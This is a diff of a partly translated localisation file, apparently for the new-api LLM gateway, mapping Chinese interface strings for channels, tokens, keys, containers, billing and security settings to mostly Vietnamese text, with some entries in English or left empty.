+    "场景：站点有 standard（倍率 1.0）和 premium（倍率 0.5）两个分组，希望 vip 用户使用 standard 令牌时也能享受折扣": "Scenario: site has standard (ratio 1.0) and premium (ratio 0.5). Want vip users to get a discount on standard tokens too",
+    "场景：设置自动选择优先级": "Scenario: set auto-selection priority",
+    "域名IP过滤详细说明": "Khuyến nghị: Khi được bật, tên miền sẽ được phân giải DNS và các IP kết quả sẽ được kiểm tra xem có thuộc dải địa chỉ riêng tư hay không, ngăn chặn hiệu quả các cuộc tấn công DNS rebinding vượt qua bảo vệ SSRF. Lưu ý: Một tên miền có thể phân giải thành nhiều địa chỉ IPv4/IPv6. Nếu bạn đã cấu hình danh sách lọc IP, hãy đảm bảo nó bao gồm các địa chỉ này, nếu không truy cập có thể thất bại.",
+    "域名白名单": "Danh sách trắng tên miền",
+    "域名黑名单": "Danh sách đen tên miền",
+    "基本信息": "Thông tin cơ bản",
+    "基础价格": "Giá cơ bản",
+    "基础用户": "Basic user",
+    "填充 Codex CLI / Claude CLI 模版": "Điền mẫu Codex CLI / Claude CLI",
+    "填充新模板": "Điền mẫu mới",
+    "填充旧模板": "Điền mẫu cũ",
+    "填充模板": "Điền mẫu",
+    "填充模板：等级+激活": "Điền mẫu: Cấp + Kích hoạt",
+    "填充模板：等级提示": "Điền mẫu: Prompt cấp",
+    "填充模板：组织或角色": "Điền mẫu: Tổ chức hoặc vai trò",
+    "填充模板：组织提示": "Điền mẫu: Prompt tổ chức",
+    "填充模板（全渠道）": "Điền mẫu (tất cả kênh)",
+    "填充模板（指定渠道）": "Điền mẫu (kênh được chọn)",
+    "填入": "Điền",
+    "填入 CC Switch": "Điền CC Switch",
+    "填入所有模型": "Điền tất cả mô hình",
+    "填入来源": "Điền nguồn",
+    "填入模板": "Điền mẫu",
+    "填入目标": "Điền đích",
+    "填入相关模型": "Điền mô hình liên quan",
+    "填入路径": "Điền đường dẫn",
+    "填入透传完整模版": "Điền mẫu truyền qua đầy đủ",
+    "填入透传模版": "Điền mẫu truyền qua",
+    "填写 Issuer URL 后自动生成：": "Tự động tạo sau khi điền Issuer URL:",
+    "填写Gotify服务器的完整URL地址": "Điền địa chỉ URL đầy đủ của máy chủ Gotify",
+    "填写后会自动拼接预设端点": "Endpoint đặt trước sẽ được tự động thêm sau khi điền",
+    "填写带https的域名，逗号分隔": "Điền tên miền có https, phân tách bằng dấu phẩy",
+    "填写用户协议内容后，用户注册时将被要求勾选已阅读用户协议": "Sau khi điền nội dung thỏa thuận người dùng, người dùng sẽ được yêu cầu tích vào đã đọc thỏa thuận người dùng khi đăng ký",
+    "填写隐私政策内容后，用户注册时将被要求勾选已阅读隐私政策": "Sau khi điền nội dung chính sách bảo mật, người dùng sẽ được yêu cầu tích vào đã đọc chính sách bảo mật khi đăng ký",
+    "填写音频补全价格前，需要先填写音频输入价格。": "Trước khi nhập giá hoàn thành âm thanh, hãy nhập giá đầu vào âm thanh trước.",
+    "处理上游模型更新": "",
+    "处理中": "Processing",
+    "处理全部渠道上游更新": "",
+    "备份支持": "Hỗ trợ sao lưu",
+    "备份状态": "Trạng thái sao lưu",
+    "备注": "Ghi chú",
+    "备用恢复代码": "Mã khôi phục dự phòng",
+    "备用码已复制到剪贴板": "Mã dự phòng đã được sao chép vào khay nhớ tạm",
+    "备用码重新生成成功": "Tạo lại mã dự phòng thành công",
+    "复制": "Sao chép",
+    "复制代码": "Sao chép mã",
+    "复制令牌": "Sao chép mã thông báo",
+    "复制令牌失败": "",
+    "复制全部": "Sao chép tất cả",
+    "复制名称": "Sao chép tên",
+    "复制失败": "Sao chép thất bại",
+    "复制失败，请手动复制": "Sao chép thất bại, vui lòng sao chép thủ công",
+    "复制失败，请手动选择文本复制": "Copy failed, please manually select and copy the text",
+    "复制密钥": "Sao chép khóa",
+    "复制已选": "Sao chép đã chọn",
+    "复制应用的令牌（Token）并填写到上方的应用令牌字段": "Sao chép mã thông báo ứng dụng và điền vào trường mã thông báo ứng dụng ở trên",
+    "复制成功": "Sao chép thành công",
+    "复制所有代码": "Sao chép tất cả mã",
+    "复制所有模型": "Sao chép tất cả mô hình",
+    "复制所选令牌": "Sao chép mã thông báo đã chọn",
+    "复制所选兑换码到剪贴板": "Sao chép mã đổi thưởng đã chọn vào khay nhớ tạm",
+    "复制授权链接": "Sao chép liên kết xác thực",
+    "复制日志": "Copy Logs",
+    "复制渠道的所有信息": "Sao chép tất cả thông tin của kênh",
+    "复制版本号": "Copy Version",
+    "复制生成的密钥并粘贴到此处": "Copy the generated key and paste it here",
+    "复制请求头": "",
+    "复制连接信息": "Sao chép thông tin kết nối",
+    "复制链接": "Copy link",
+    "外接设备": "Thiết bị ngoại vi",
+    "多个命令用空格分隔": "Multiple commands separated by spaces",
+    "多密钥渠道操作项目组": "Nhóm dự án vận hành kênh đa khóa",
+    "多密钥管理": "Quản lý đa khóa",
+    "多种充值方式，安全便捷": "Nhiều phương thức nạp tiền, an toàn và tiện lợi",
+    "大模型接口网关": "Cổng API LLM",
+    "天": "ngày",
+    "天前": "ngày trước",
+    "失败": "Thất bại",
+    "失败原因": "Nguyên nhân thất bại",
+    "失败后不重试": "Không thử lại sau khi thất bại",
+    "失败后是否重试": "Thử lại khi thất bại",
+    "失败时自动禁用通道": "Tự động vô hiệu hóa kênh khi thất bại",
+    "失败重试次数": "Số lần thử lại thất bại",
+    "奖励说明": "Mô tả phần thưởng",
+    "套餐": "Gói",
+    "套餐副标题": "Phụ đề gói",
+    "套餐名称": "Tên gói",
+    "套餐标题": "Tiêu đề gói",
+    "套餐标题不能为空": "Tên gói không được để trống",
+    "套餐的基本信息和定价": "Thông tin cơ bản và giá của gói",
+    "如：大带宽批量分析图片推荐": "ví dụ: Phân tích hàng loạt băng thông lớn đề xuất hình ảnh",
+    "如：香港线路": "ví dụ: Tuyến Hồng Kông",
+    "如果亲和到的渠道失败，重试到其他渠道成功后，将亲和更新到成功的渠道。": "Nếu kênh ưu ái thất bại, sau khi thử lại thành công trên kênh khác, ưu ái sẽ được cập nhật sang kênh thành công.",
+    "如果你对接的是上游One API或者New API等转发项目，请使用OpenAI类型，不要使用此类型，除非你知道你在做什么。": "Nếu bạn đang kết nối với các dự án chuyển tiếp One API hoặc New API thượng nguồn, vui lòng sử dụng loại OpenAI. Đừng sử dụng loại này trừ khi bạn biết mình đang làm gì.",
+    "如果用户请求中包含系统提示词，则使用此设置拼接到用户的系统提示词前面": "Nếu yêu cầu của người dùng chứa từ nhắc hệ thống, cài đặt này sẽ được nối vào trước từ nhắc hệ thống của người dùng",
+    "如果镜像为私有，请填写密码或Token": "If the image is private, please fill in the password or token",
+    "如果镜像为私有，请填写用户名": "If the image is private, please fill in the username",
+    "始终使用浅色主题": "Luôn sử dụng chủ đề sáng",
+    "始终使用深色主题": "Luôn sử dụng chủ đề tối",
+    "字段映射": "Ánh xạ trường",
+    "字段缺失视为命中": "Thiếu trường được coi là trúng",
+    "字段路径": "Đường dẫn trường",
+    "字段透传控制": "Kiểm soát truyền qua trường",
+    "字段速查": "Tra cứu nhanh trường",
+    "存在惩罚，鼓励讨论新话题": "Phạt sự hiện diện, khuyến khích chủ đề mới",
+    "存在重复的分组名称：": "Duplicate group names: ",
+    "存在重复的键名：": "Tồn tại tên khóa trùng lặp:",
+    "安全提醒": "Nhắc nhở bảo mật",
+    "安全设置": "Cài đặt bảo mật",
+    "安全验证": "Xác minh bảo mật",
+    "安全验证级别": "Cấp độ xác minh bảo mật",
+    "安装指南": "Hướng dẫn cài đặt",
+    "完成": "Hoàn thành",
+    "完成初始化": "Hoàn tất khởi tạo",
+    "完成硬件类型、部署位置、副本数量等配置后，将自动计算价格": "Price will be automatically calculated after completing hardware type, deployment location, number of replicas and other configurations",
+    "完成设置并启用两步验证": "Hoàn tất thiết lập và bật xác thực hai yếu tố",
+    "完成进度": "Completion Progress",
+    "完整流程：": "Full workflow:",
+    "完整的 Base URL，支持变量{model}": "Base URL đầy đủ, hỗ trợ biến {model}",
+    "官方": "Chính thức",
+    "官方文档": "Tài liệu chính thức",
+    "官方模型同步": "Đồng bộ mô hình chính thức",
+    "官方说明": "Tài liệu chính thức",
+    "定价模式": "Chế độ định giá",
+    "定时测试所有通道": "Định kỳ kiểm tra tất cả các kênh",
+    "定期更改密码可以提高账户安全性": "Thường xuyên thay đổi mật khẩu có thể cải thiện bảo mật tài khoản",
+    "实付": "Thanh toán thực tế",
+    "实付金额": "Số tiền thanh toán thực tế",
+    "实付金额：": "Số tiền thanh toán thực tế: ",
+    "实际模型": "Mô hình thực tế",
+    "实际结算金额：{{symbol}}{{total}}（已包含分组价格调整）": "Khoản phí thực tế: {{symbol}}{{total}} (đã bao gồm điều chỉnh giá theo nhóm)",
+    "实际请求体": "Thân yêu cầu thực tế",
+    "审计信息": "Thông tin kiểm toán",
+    "容器": "Container",
+    "容器ID": "Container ID",
+    "容器创建失败: ": "Container creation failed: ",
+    "容器创建成功": "Container created successfully",
+    "容器名称": "Container Name",
+    "容器名称更新成功": "Container name updated successfully",
+    "容器启动后执行的命令": "Command to execute after container starts",
+    "容器启动配置": "Container Startup Configuration",
+    "容器实例": "Container Instance",
+    "容器对外暴露的端口": "Container exposed port",
+    "容器对外服务的端口号，可选": "Port number for external service, optional",
+    "容器总数": "Total Containers",
+    "容器数量": "Number of Containers",
+    "容器日志": "Container Logs",
+    "容器时长延长成功": "Container duration extended successfully",
+    "容器访问地址无效": "Invalid container access address",
+    "容器详情": "Container Details",
+    "容器配置": "Container Configuration",
+    "容器配置更新成功": "Container configuration updated successfully",
+    "容器销毁请求已提交": "Container deletion request submitted",
+    "密码": "Mật khẩu",
+    "密码修改成功！": "Đổi mật khẩu thành công!",
+    "密码已复制到剪贴板：": "Mật khẩu đã được sao chép vào khay nhớ tạm: ",
+    "密码已重置并已复制到剪贴板：": "Mật khẩu đã được đặt lại và sao chép vào khay nhớ tạm: ",
+    "密码管理": "Quản lý mật khẩu",
+    "密码重置": "Đặt lại mật khẩu",
+    "密码重置完成": "Hoàn tất đặt lại mật khẩu",
+    "密码重置确认": "Xác nhận đặt lại mật khẩu",
+    "密码长度至少为8个字符": "Mật khẩu phải dài ít nhất 8 ký tự",
+    "密钥": "Khóa",
+    "密钥 JSON 必须包含 access_token": "JSON khóa phải bao gồm access_token",
+    "密钥 JSON 必须包含 account_id": "JSON khóa phải bao gồm account_id",
+    "密钥（编辑模式下，保存的密钥不会显示）": "Khóa (trong chế độ chỉnh sửa, khóa đã lưu sẽ không hiển thị)",
+    "密钥去重": "Loại bỏ khóa trùng lặp",
+    "密钥将以Bearer方式添加到请求头中，用于验证webhook请求的合法性": "Khóa sẽ được thêm vào tiêu đề yêu cầu dưới dạng Bearer để xác minh tính hợp pháp của yêu cầu webhook",
+    "密钥已删除": "Khóa đã bị xóa",
+    "密钥已启用": "Khóa đã được bật",
+    "密钥已复制到剪贴板": "Khóa đã được sao chép vào khay nhớ tạm",
+    "密钥已禁用": "Khóa đã bị vô hiệu hóa",
+    "密钥必须是 JSON 对象": "Khóa phải là đối tượng JSON",
+    "密钥必须是合法的 JSON 格式！": "Khóa phải ở định dạng JSON hợp lệ!",
+    "密钥文件 (.json)": "Tệp khóa (.json)",
+    "密钥更新模式": "Chế độ cập nhật khóa",
+    "密钥格式": "Định dạng khóa",
+    "密钥格式无效，请输入有效的 JSON 格式密钥": "Định dạng khóa không hợp lệ, vui lòng nhập khóa định dạng JSON hợp lệ",
+    "密钥环境变量": "Secret Environment Variables",
+    "密钥聚合模式": "Chế độ tổng hợp khóa",
+    "密钥获取成功": "Lấy khóa thành công",
+    "密钥输入方式": "Phương thức nhập khóa",
+    "密钥预览": "Xem trước khóa",
+    "对于官方渠道，new-api已经内置地址，除非是第三方代理站点或者Azure的特殊接入地址，否则不需要填写": "Đối với các kênh chính thức, new-api đã tích hợp sẵn địa chỉ. Trừ khi đó là trang web proxy của bên thứ ba hoặc địa chỉ truy cập đặc biệt của Azure, không cần điền vào",
+    "对免费模型启用预消耗": "Enable pre-consumption for free models",
+    "对域名启用 IP 过滤（推荐开启）": "Bật lọc IP cho tên miền (khuyến nghị)",
+    "对外运营模式": "Chế độ mặc định",
+    "对比：不勾选「用户可选」的场景": "Comparison: groups without \"User Selectable\"",
+    "对象清理规则": "Quy tắc dọn dẹp đối tượng",
+    "导入": "Nhập",
+    "导入的配置将覆盖当前设置，是否继续？": "Cấu hình đã nhập sẽ ghi đè cài đặt hiện tại, tiếp tục?",
+    "导入配置": "Nhập cấu hình",
+    "导入配置失败: ": "Nhập cấu hình thất bại: ",
+    "导出": "Xuất",
+    "导出日志失败": "Failed to export logs",
+    "导出配置": "Xuất cấu hình",
+    "导出配置失败: ": "Xuất cấu hình thất bại: ",
+    "将 reasoning_content 转换为 <think> 标签拼接到内容中": "Chuyển đổi reasoning_content thành thẻ <think> và nối vào nội dung",
+    "将为选中的 ": "Sẽ đặt cho đã chọn ",
+    "将仅保留第一个密钥文件，其余文件将被移除，是否继续？": "Chỉ tệp khóa đầu tiên sẽ được giữ lại, các tệp còn lại sẽ bị xóa. Tiếp tục?",
+    "将删除": "Đang xóa",
+    "将删除 {{value}} 天前的日志文件。": "Tệp nhật ký cũ hơn {{value}} ngày sẽ bị xóa.",
+    "将删除已使用、已禁用及过期的兑换码，此操作不可撤销。": "Thao tác này sẽ xóa tất cả các mã đổi thưởng đã sử dụng, bị vô hiệu hóa và hết hạn, thao tác này không thể hoàn tác.",
+    "将删除所有仍在内存中的渠道亲和性缓存条目。": "Sẽ xóa tất cả mục bộ nhớ đệm ưu ái kênh còn trong bộ nhớ.",
+    "将只保留最近 {{value}} 个日志文件，其余将被删除。": "Chỉ giữ lại {{value}} tệp nhật ký gần nhất; phần còn lại sẽ bị xóa.",
+    "将大请求体临时存储到磁盘": "Lưu tạm body yêu cầu lớn vào đĩa",
+    "将把当前编辑中的模型 {{name}} 的价格配置，批量应用到已勾选的 {{count}} 个模型。": "Cấu hình giá của mô hình đang chỉnh sửa {{name}} sẽ được áp dụng hàng loạt cho {{count}} mô hình đã chọn.",
+    "将把当前编辑中的模型 {{name}} 的价格配置，批量应用到已勾选的 {{count}} 个模型。_other": "",
+    "将清除所有保存的配置并恢复默认设置，此操作不可撤销。是否继续？": "Thao tác này sẽ xóa tất cả các cấu hình đã lưu và khôi phục cài đặt mặc định, thao tác này không thể hoàn tác. Tiếp tục?",
+    "将清除选定时间之前的所有日志": "Thao tác này sẽ xóa tất cả nhật ký trước thời gian đã chọn",
+    "将追加 2 条规则到现有规则列表。": "2 quy tắc sẽ được thêm vào danh sách quy tắc hiện có.",
+    "小时": "Giờ",
+    "小时费率": "Hourly Rate",
+    "尚未使用": "Chưa sử dụng",
+    "局部重绘-提交": "Vary Region",
+    "屏蔽词列表": "Danh sách từ bị chặn",
+    "屏蔽词过滤设置": "Cài đặt lọc từ bị chặn",
+    "展开": "Mở rộng",
+    "展开更多": "Mở rộng thêm",
+    "展示价格": "Giá hiển thị",
+    "嵌套映射：用户分组 → 使用分组 → 倍率": "Nested mapping: user group → using group → ratio",
+    "左侧边栏个人设置": "Cài đặt cá nhân ở thanh bên trái",
+    "已为 {{count}} 个模型设置{{type}}_one": "Đã đặt {{type}} cho {{count}} mô hình",
+    "已为 {{count}} 个模型设置{{type}}_other": "Đã đặt {{type}} cho {{count}} mô hình",
+    "已为 ${count} 个渠道设置标签！": "Đã đặt thẻ cho ${count} kênh!",
+    "已从 Discovery 自动填充配置": "Cấu hình đã được tự động điền từ Discovery",
+    "已从 Discovery 获取配置，可继续手动修改所有字段。": "Đã nhận cấu hình từ Discovery. Bạn có thể tiếp tục chỉnh sửa thủ công tất cả các trường.",
+    "已作废": "Đã vô hiệu",
+    "已保存偏好为": "Đã lưu tùy chọn: ",
+    "已修复 ${success} 个通道，失败 ${fails} 个通道。": "Đã sửa ${success} kênh, thất bại ${fails} kênh.",
+    "已停止": "Stopped",
+    "已停止批量测试": "Đã dừng kiểm tra hàng loạt",
+    "已关闭后续提醒": "Đã tắt thông báo tiếp theo",
+    "已分配内存": "Bộ nhớ đã phân bổ",
+    "已切换为Assistant角色": "Đã chuyển sang vai trò Assistant",
+    "已切换为System角色": "Đã chuyển sang vai trò System",
+    "已切换至最优倍率视图，每个模型使用其最低倍率分组": "Đã chuyển sang chế độ xem tỷ lệ tối ưu, mỗi mô hình sử dụng nhóm tỷ lệ thấp nhất của nó",
+    "已初始化": "Đã khởi tạo",
+    "已删除": "Đã xóa",
+    "已删除 {{count}} 个令牌！": "Đã xóa {{count}} mã thông báo!",
+    "已删除 {{count}} 个令牌！_other": "Deleted {{count}} tokens!",
+    "已删除 {{count}} 条失效兑换码_one": "Đã xóa {{count}} mã đổi thưởng hết hạn",
+    "已删除 {{count}} 条失效兑换码_other": "Đã xóa {{count}} mã đổi thưởng hết hạn",
+    "已删除 ${data} 个通道！": "Đã xóa ${data} kênh!",
+    "已删除所有禁用渠道，共计 ${data} 个": "Đã xóa tất cả các kênh bị vô hiệu hóa, tổng cộng ${data}",
+    "已删除消息及其回复": "Đã xóa tin nhắn và các câu trả lời của nó",
+    "已勾选": "Đã chọn",
+    "已勾选 {{count}} 个模型": "Đã chọn {{count}} mô hình",
+    "已勾选 {{count}} 个模型_other": "",
+    "已发起支付": "Đã khởi tạo thanh toán",
+    "已发送到 Fluent": "Đã gửi đến Fluent",
+    "已取消 Passkey 注册": "Đã hủy đăng ký Passkey",
+    "已同步到渠道": "Synced to Channel",
+    "已启用": "Đã bật",
+    "已启用 Passkey，无需密码即可登录": "Đã bật Passkey, đăng nhập không cần mật khẩu",
+    "已启用所有密钥": "Tất cả các khóa đã được bật",
+    "已在自定义模式中忽略": "Bị bỏ qua trong chế độ tùy chỉnh",
+    "已填充提示模板": "Mẫu prompt đã được điền",
+    "已填充模版": "Mẫu đã được điền",
+    "已填充策略模板": "Mẫu chính sách đã được điền",
+    "已处理上游模型更新：加入 {{added}} 个，删除 {{removed}} 个，本次忽略 {{ignored}} 个，当前已忽略模型 {{totalIgnored}} 个": "",
+    "已备份": "Đã sao lưu",
+    "已复制": "Đã sao chép",
+    "已复制 ${count} 个模型": "Đã sao chép ${count} mô hình",
+    "已复制 ID 到剪贴板": "ID copied to clipboard",
+    "已复制：": "Đã sao chép:",
+    "已复制：{{name}}": "Đã sao chép: {{name}}",
+    "已复制全部数据": "Tất cả dữ liệu đã được sao chép",
+    "已复制到剪切板": "Đã sao chép vào khay nhớ tạm",
+    "已复制到剪贴板": "Đã sao chép vào khay nhớ tạm",
+    "已复制到剪贴板！": "Đã sao chép vào khay nhớ tạm!",
+    "已复制字段：{{name}}": "Đã sao chép trường: {{name}}",
+    "已复制模型名称": "Đã sao chép tên mô hình",
+    "已复制版本号": "Version copied",
+    "已复制自动生成的 API Key": "Auto-generated API Key copied",
+    "已完成": "Completed",
+    "已将模型 {{name}} 的价格配置批量应用到 {{count}} 个模型": "Đã áp dụng hàng loạt cấu hình giá của mô hình {{name}} cho {{count}} mô hình",
+    "已将模型 {{name}} 的价格配置批量应用到 {{count}} 个模型_other": "",
+    "已开启全局请求透传：参数覆写、模型重定向、渠道适配等 NewAPI 内置功能将失效，非最佳实践；如因此产生问题，请勿提交 issue 反馈。": "Đã bật truyền qua yêu cầu toàn cục. Các tính năng tích hợp của NewAPI như ghi đè tham số, chuyển hướng mô hình và thích ứng kênh sẽ bị vô hiệu hóa. Đây không phải là thực hành tốt nhất. Nếu phát sinh vấn đề, vui lòng không gửi issue.",
+    "已忽略模型": "",
+    "已成功开始测试所有已启用通道，请刷新页面查看结果。": "Đã bắt đầu kiểm tra tất cả các kênh đã bật thành công. Vui lòng làm mới trang để xem kết quả.",
+    "已打开授权页面": "Đã mở trang xác thực",
+    "已打开支付页面": "Đã mở trang thanh toán",
+    "已批量处理上游模型更新：渠道 {{channels}} 个，加入 {{added}} 个，删除 {{removed}} 个，失败 {{fails}} 个": "",
+    "已提交": "Đã gửi",
+    "已支付金额": "Amount Paid",
+    "已新增 {{count}} 个模型：{{list}}_one": "Đã thêm {{count}} mô hình: {{list}}",
+    "已新增 {{count}} 个模型：{{list}}_other": "Đã thêm {{count}} mô hình: {{list}}",
+    "已更新完毕所有已启用通道余额！": "Đã cập nhật hạn ngạch cho tất cả các kênh đã bật!",
+    "已有保存的配置": "Có cấu hình đã lưu",
+    "已有模型": "Existing Models",
+    "已有的模型": "Mô hình hiện có",
+    "已有账户？": "Đã có tài khoản?",
+    "已服务": "Served",
+    "已注销": "Đã đăng xuất",
+    "已添加": "Đã thêm",
+    "已添加 {{count}} 个模板_other": "Đã thêm {{count}} mẫu",
+    "已添加到白名单": "Đã thêm vào danh sách trắng",
+    "已清理 {{count}} 个日志文件，释放 {{size}}": "Đã dọn dẹp {{count}} tệp nhật ký, giải phóng {{size}}",
+    "已清理 {{count}} 个日志文件，释放 {{size}}_other": "",
+    "已清空": "Đã xóa sạch",
+    "已清空测试结果": "Đã xóa kết quả kiểm tra",
+    "已生成授权凭据": "Đã tạo thông tin xác thực",
+    "已用": "Used",
+    "已用/剩余": "Đã dùng/Còn lại",
+    "已用额度": "Hạn ngạch đã dùng",
+    "已禁用": "Đã vô hiệu hóa",
+    "已禁用所有密钥": "Đã vô hiệu hóa tất cả các khóa",
+    "已绑定": "Đã liên kết",
+    "已绑定渠道": "Kênh đã liên kết",
+    "已结束": "Ended",
+    "已耗尽": "Đã cạn kiệt",
+    "已解锁豆包自定义 API 地址编辑": "Custom Doubao API address editing unlocked",
+    "已设置": "Đã cấu hình",
+    "已达上限": "Đã đạt giới hạn",
+    "已达到购买上限": "Đã đạt giới hạn mua",
+    "已过期": "Đã hết hạn",
+    "已运行时间": "Uptime",
+    "已选择 {{count}} 个模型_one": "Đã chọn {{count}} mô hình",
+    "已选择 {{count}} 个模型_other": "Đã chọn {{count}} mô hình",
+    "已选择 {{selected}} / {{total}}": "Đã chọn {{selected}} / {{total}}",
+    "已选择 ${count} 个渠道": "Đã chọn ${count} kênh",
+    "已重置为默认配置": "Đã đặt lại về cấu hình mặc định",
+    "已销毁": "Destroyed",
+    "币种": "Tiền tệ",
+    "帐号信息": "",
+    "常用上下文 Key（用于 context_*）": "Key ngữ cảnh phổ biến (cho context_*)",
+    "常见问答": "Câu hỏi thường gặp",
+    "常见问答管理，为用户提供常见问题的答案（最多50个，前端显示最新20条）": "Quản lý câu hỏi thường gặp, cung cấp câu trả lời cho các câu hỏi thường gặp của người dùng (tối đa 50, hiển thị 20 mới nhất ở giao diện người dùng)",
+    "平台": "nền tảng",
+    "平均RPM": "RPM trung bình",
+    "平均TPM": "TPM trung bình",
+    "平移": "Pan",
+    "年": "năm",
+    "应付金额": "Số tiền phải trả",
+    "应用": "Áp dụng",
+    "应用同步": "Áp dụng đồng bộ hóa",
+    "应用更改": "Áp dụng thay đổi",
+    "应用覆盖": "Áp dụng ghi đè",
+    "延长后总时长": "Total Duration After Extension",
+    "延长容器时长": "Extend Container Duration",
+    "延长容器时长将会产生额外费用，请确认您有足够的账户余额。": "Extending container duration will incur additional charges, please ensure you have sufficient account balance.",
+    "延长操作一旦确认无法撤销，费用将立即扣除。": "Once confirmed, the extension operation cannot be undone, and charges will be deducted immediately.",
+    "延长时长": "Extension Duration",
+    "延长时长（小时）": "Extension Duration (hours)",
+    "延长时长不能超过720小时（30天）": "Extension duration cannot exceed 720 hours (30 days)",
+    "延长时长失败": "Failed to extend duration",
+    "延长时长至少为1小时": "Extension duration must be at least 1 hour",
+    "建立连接时发生错误": "Đã xảy ra lỗi khi thiết lập kết nối",
+    "建议在生产环境中使用 MySQL 或 PostgreSQL 数据库，或确保 SQLite 数据库文件已映射到宿主机的持久化存储。": "Khuyên dùng cơ sở dữ liệu MySQL hoặc PostgreSQL trong môi trường sản xuất, hoặc đảm bảo tệp cơ sở dữ liệu SQLite được ánh xạ tới bộ nhớ bền vững của máy chủ.",
+    "开": "mở",
+    "开启「默认使用 auto 分组」后，新建令牌和初始令牌都会自动设为 auto。": "After enabling \"Default to auto group\", new tokens and initial tokens will be set to auto.",
+    "开启之后会清除用户提示词中的": "Sau khi bật, từ nhắc của người dùng sẽ bị xóa",
+    "开启之后将上游地址替换为服务器地址": "Sau khi bật, địa chỉ thượng nguồn sẽ được thay thế bằng địa chỉ máy chủ",
+    "开启后，using_group 会参与 cache key（不同分组隔离）。": "Khi bật, using_group sẽ tham gia vào cache key (cách ly theo nhóm).",
+    "开启后，仅\"消费\"和\"错误\"日志将记录您的客户端IP地址": "Sau khi bật, chỉ nhật ký \"tiêu thụ\" và \"lỗi\" sẽ ghi lại địa chỉ IP máy khách của bạn",
+    "开启后，对免费模型（倍率为0，或者价格为0）的模型也会预消耗额度": "After enabling, free models (ratio 0 or price 0) will also pre-consume quota",
+    "开启后，将定期发送ping数据保持连接活跃": "Sau khi bật, dữ liệu ping sẽ được gửi định kỳ để giữ kết nối hoạt động",
+    "开启后，当前分组渠道失败时会按顺序尝试下一个分组的渠道": "Sau khi bật, khi kênh nhóm hiện tại thất bại, nó sẽ thử kênh của nhóm tiếp theo theo thứ tự",
+    "开启后，所有请求将直接透传给上游，不会进行任何处理（重定向和渠道适配也将失效）,请谨慎开启": "Khi bật, tất cả các yêu cầu sẽ được chuyển tiếp trực tiếp đến thượng nguồn mà không cần xử lý (chuyển hướng và thích ứng kênh cũng sẽ bị vô hiệu hóa). Vui lòng bật một cách thận trọng.",
+    "开启后，模型名称会参与 cache key（不同模型隔离）。": "Khi bật, tên mô hình sẽ được bao gồm trong cache key (cách ly các mô hình khác nhau).",
+    "开启后，若该规则命中且请求失败，将不会切换渠道重试。": "Khi bật, nếu quy tắc này trúng và yêu cầu thất bại, sẽ không chuyển kênh để thử lại.",
+    "开启后，规则名称会参与 cache key（不同规则隔离）。": "Khi bật, tên quy tắc sẽ tham gia vào cache key (cách ly theo quy tắc).",
+    "开启后，该渠道请求 Claude 时将强制追加 ?beta=true（无需客户端手动传参）": "Khi bật, yêu cầu đến Claude qua kênh này sẽ tự động thêm ?beta=true (client không cần truyền thủ công)",
+    "开启后，违规请求将额外扣费。": "Khi bật, các yêu cầu vi phạm sẽ bị tính phí bổ sung.",
+    "开启后不限制：必须设置模型倍率": "Sau khi bật, không giới hạn: phải đặt tỷ lệ mô hình",
+    "开启后创建令牌默认选择auto分组，初始令牌也将设为auto": "When enabled, new tokens default to auto group, initial tokens are also set to auto",
+    "开启后未登录用户无法访问模型广场": "Khi bật, người dùng chưa xác thực không thể truy cập thị trường mô hình",
+    "开启后检测到新增模型会自动加入当前渠道模型列表": "",
+    "开启后由后端定时任务检测该渠道上游模型变化": "",
+    "开启批量操作": "Bật chọn hàng loạt",
+    "开始": "Bắt đầu",
+    "开始同步": "Bắt đầu đồng bộ",
+    "开始批量测试 ${count} 个模型，已清空上次结果...": "Bắt đầu kiểm tra hàng loạt ${count} mô hình, đã xóa kết quả trước đó...",
+    "开始时间": "thời gian bắt đầu",
+    "异常": "",
+    "异步任务退款": "Hoàn tiền tác vụ bất đồng bộ",
+    "张图片": "hình ảnh",
+    "弱变换": "Biến thể cao",
+    "强制使用 AUTH LOGIN": "Buộc AUTH LOGIN",
+    "强制将响应格式化为 OpenAI 标准格式（只适用于OpenAI渠道类型）": "Buộc định dạng phản hồi theo định dạng chuẩn OpenAI (Chỉ dành cho các loại kênh OpenAI)",
+    "强制格式化": "Buộc định dạng",
+    "强制要求": "Yêu cầu bắt buộc",
+    "强变换": "Biến thể thấp",
+    "当上游通道返回错误中包含这些关键词时（不区分大小写），自动禁用通道": "Khi kênh thượng nguồn trả về lỗi chứa các từ khóa này (không phân biệt chữ hoa chữ thường), tự động vô hiệu hóa kênh",
+    "当令牌分组设为 auto 时，系统按列表顺序依次选择可用分组。排在前面的优先级更高。": "When token group is set to auto, the system selects groups in list order. Groups listed first have higher priority.",
+    "当前 API 密钥已过期，请在设置中更新。": "Current API key has expired, please update it in settings.",
+    "当前 Ollama 版本为 ${version}": "Current Ollama version is ${version}",
+    "当前仅 OpenAI / Claude 语义支持缓存 token 统计，其他通道将隐藏 token 相关字段。": "Hiện chỉ ngữ nghĩa OpenAI / Claude hỗ trợ thống kê token đệm. Các kênh khác sẽ ẩn các trường liên quan đến token.",
+    "当前余额": "Số dư hiện tại",
+    "当前值": "Giá trị hiện tại",
+    "当前值不是合法 JSON，无法格式化": "Giá trị hiện tại không phải JSON hợp lệ, không thể định dạng",
+    "当前分组为 auto，会自动选择最优分组，当一个组不可用时自动降级到下一个组（熔断机制）": "Nhóm hiện tại là auto, nó sẽ tự động chọn nhóm tối ưu và tự động hạ cấp xuống nhóm tiếp theo khi một nhóm không khả dụng (cơ chế ngắt mạch)",
+    "当前剩余": "Currently Remaining",
+    "当前参数覆盖不是合法的 JSON": "Ghi đè tham số hiện tại không phải JSON hợp lệ",
+    "当前提示": "Gợi ý hiện tại",
+    "当前旧格式 JSON 不合法，无法追加模板": "JSON định dạng cũ hiện tại không hợp lệ, không thể thêm mẫu",
+    "当前旧格式不是 JSON 对象，无法追加模板": "Định dạng cũ hiện tại không phải đối tượng JSON, không thể thêm mẫu",
+    "当前时间": "Thời gian hiện tại",
+    "当前未启用，需要时再打开即可。": "Trường này hiện đang tắt. Hãy bật khi cần.",
+    "当前未开启Midjourney回调，部分项目可能无法获得绘图结果，可在运营设置中开启。": "Gọi lại Midjourney hiện tại chưa được bật, một số dự án có thể không nhận được kết quả vẽ, có thể bật trong cài đặt vận hành.",
+    "当前查看的分组为：{{group}}，倍率为：{{ratio}}": "Nhóm hiện tại: {{group}}, tỷ lệ: {{ratio}}",
